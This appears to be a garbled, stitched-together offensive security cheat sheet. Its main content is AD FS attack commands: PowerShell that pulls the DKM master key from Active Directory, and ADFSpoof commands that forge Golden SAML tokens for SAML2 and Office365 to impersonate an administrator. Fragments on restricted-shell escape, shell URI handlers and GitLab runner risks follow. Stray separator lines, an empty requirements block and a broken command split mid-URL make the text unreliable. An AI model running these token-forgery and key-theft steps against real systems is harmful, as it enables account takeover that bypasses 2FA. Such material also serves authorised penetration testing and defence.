# Active Directory - Federation Services
|
||||
|
||||
Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.
|
||||
|
||||
|
||||
## ADFS - DKM Master Key
|
||||
|
||||
* The DKM key is stored in the `thumbnailPhoto` attribute of the AD contact object.
|
||||
|
||||
```ps1
|
||||
$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto
|
||||
[System.BitConverter]::ToString($key)
|
||||
```
|
||||
|
||||
|
||||
## ADFS - Trust Relationship
|
||||
|
||||
Gets the relying party trusts of the Federation Service.
|
||||
|
||||
* Search for `IssuanceAuthorizationRules`
|
||||
```ps1
|
||||
Get-AdfsRelyingPartyTrust
|
||||
```
|
||||
|
||||
|
||||
## ADFS - Golden SAML
|
||||
|
||||
Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system.
|
||||
|
||||
* Golden SAML are effective even when 2FA is enabled.
|
||||
* The token-signing private key is not renewed automatically
|
||||
* Changing a user’s password won't affect the generated SAML
|
||||
|
||||
|
||||
**Requirements**:

||||
|
||||

|
||||
```
|

* Convert the retrieved key to raw format: `echo "RETRIEVED_KEY_HERE" | base64 -d > adfs.key`
|
||||
* Use [mandiant/ADFSpoof](https://github.com/mandiant/ADFSpoof) to generate the Golden SAML
|
||||
|
||||
NOTE: There might be multiple master keys in the container, remember to try them all.
|
||||
|
||||
|
||||
**Golden SAML Examples**
|
||||
|
||||
* SAML2: requires `--endpoint`, `--nameidformat`, `--identifier`, `--nameid` and `--assertions`
|
||||
```ps1
|
||||
python ADFSpoof.py -b adfs.bin adfs.key -s adfs.domain.local saml2 --endpoint https://www.contoso.com/adfs/ls

||||
/SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
|
||||
```
|
||||
|
||||
* Office365: requires `--upn` and `--objectguid`
|
||||
```ps1
|
||||
python3 ADFSpoof.py -b adfs.bin adfs.key -s sts.domain.local o365 --upn user@domain.local --objectguid 712D7BFAE0EB79842D878B8EEEE239D1
|
||||
```
|
||||
|
||||
* Other: connect to the service provider using a known account, analyze the SAML token attributes given and reuse their format.
|
||||
|
||||
**NOTE**: Sync the time between the attacker's machine generating the Golden SAML and the ADFS server.

- Switch to another user using `sudo`/`su`
|

||||
- List default commands in the restricted shell: `compgen -c`
|
||||
- Container escape if it's running inside a `Docker`/`LXC` container
|

- Pivot onto the network
|
||||
- Scan other machines on the network or attempt SSRF exploitation
|
||||
- Metadata for Cloud assets, see `cloud/aws` and `cloud/azure`

## Shell URI Handlers
|
||||
|
||||
A URI (Uniform Resource Identifier) handler is a software component that enables a web browser or operating system to pass a URI to an appropriate application for further handling.
|
||||
|
||||
For example, when you click on a "mailto:" link in a webpage, your device knows to open your default email application. This is because the "mailto:" URI scheme is registered to be handled by an email application. Similarly, "http:" and "https:" URIs are typically handled by a web browser.
|
||||
|
||||
In essence, URI handlers provide a bridge between web content and desktop applications, allowing for a seamless user experience when navigating between different types of resources.
|
||||
|
||||
The following URI handlers might trigger application on the machine:
|
||||
|
||||
* shell:DocumentsLibrary

* shell:Librariesshell:UserProfiles
|

* shell:Personal

### Gitlab Executors
|
||||
|
||||
* **Shell** executor: The jobs are run with the permissions of the GitLab Runner’s user and can steal code from other projects that are run on this server.
|
||||
* **Docker** executor: Docker can be considered safe when running in non-privileged mode.
|
||||
* **SSH** executor: SSH executors are susceptible to MITM attack (man-in-the-middle), because of missing `StrictHostKeyChecking` option.

### Gitlab CI/CD variables
|

|
||||
CI/CD Variables are a convenient way to store and use data in a CI/CD pipeline, but variables are less secure than secrets management providers
